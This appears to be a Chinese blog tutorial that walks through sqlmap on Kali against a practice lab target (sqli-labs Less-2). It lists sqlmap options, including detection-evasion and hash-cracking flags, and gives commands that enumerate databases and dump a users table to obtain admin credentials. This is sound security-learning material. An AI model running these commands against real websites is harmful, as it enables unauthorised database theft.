sqlmap是一款非常好用的自动化的sql注入工具,本文演示中的目标是靶机的Less-2,使用kali自带的工具sqlmap进行注入。其中kali版本为2020.3。
本文只是简单的学习使用工具,若需要了解更多请点击前往sqlmap中文使用手册学习。
在这里我将说明sqlmap使用过程中常用到的一些参数。
参数 | 作用 |
---|---|
-u | 指定目标URL |
–ignore-401 | 使用该参数忽略401错误(未认证) |
–delay | 定HTTP请求之间的延迟 |
–randomize | 随机生成每次HTTP请求中参数的值 |
–safe-url | 隔一会就访问一下的安全URL |
–csrf-token 和 –csrf-url | 绕过CSRF保护 |
-o | 一键优化 |
-p “id” | 测试注入点 |
–dbms | 指定数据库 |
–level | 用于指定检测级别,有1~5共5级 |
–risk | 指定风险等级,有1~4共4级 |
-dbs 和 -D | 查询所有数据库名 |
-tables 和 -T | 查询所有表名 |
–common-tables | 暴力破解表名 |
columns | 查询所有列名 |
–common-columns | 暴力破解列名 |
–all | 一键列举全部数据 |
-b | 列举数据库管理系统信息 |
–current-db | 列举当前数据库 |
–current-user | 列举当前用户 |
–passwords | 列举并破解数据库管理系统用户密码Hash值 |
–count | 统计数据数目 |
–dump | 列举表中数据 |
我所列举出来的参数仅是个人感觉有用的,标注出来的是最基础的。工具就在于懂得原理之后去使用!
sql注入的步骤主要分为:找注入点->查库->查表->出数据。具体的sql注入请前往另一篇博客web安全-sql注入学习。接下来我们直接展示!
开始之前我们得需要明白我们的目标是啥!!!!我们的目标就是找到这个网站的管理员账户和密码!!
简单的测试我们便知道目标网站的注入点是:id,通过get传参。
Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1 -dbs
结果展示:
Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1 –current-db
结果展示:
Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1 --count -D security
结果展示:
Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1 --dump -D security -T users
结果展示:
注:
以上演示的是get传参,若使用post传参则Payload有所不同,需要用抓包工具将请求包的数据放入txt文件读取注入,展示如下:
Payload:root@kali:~/桌面# sqlmap -r test.txt -dbs
结果展示:
联系客服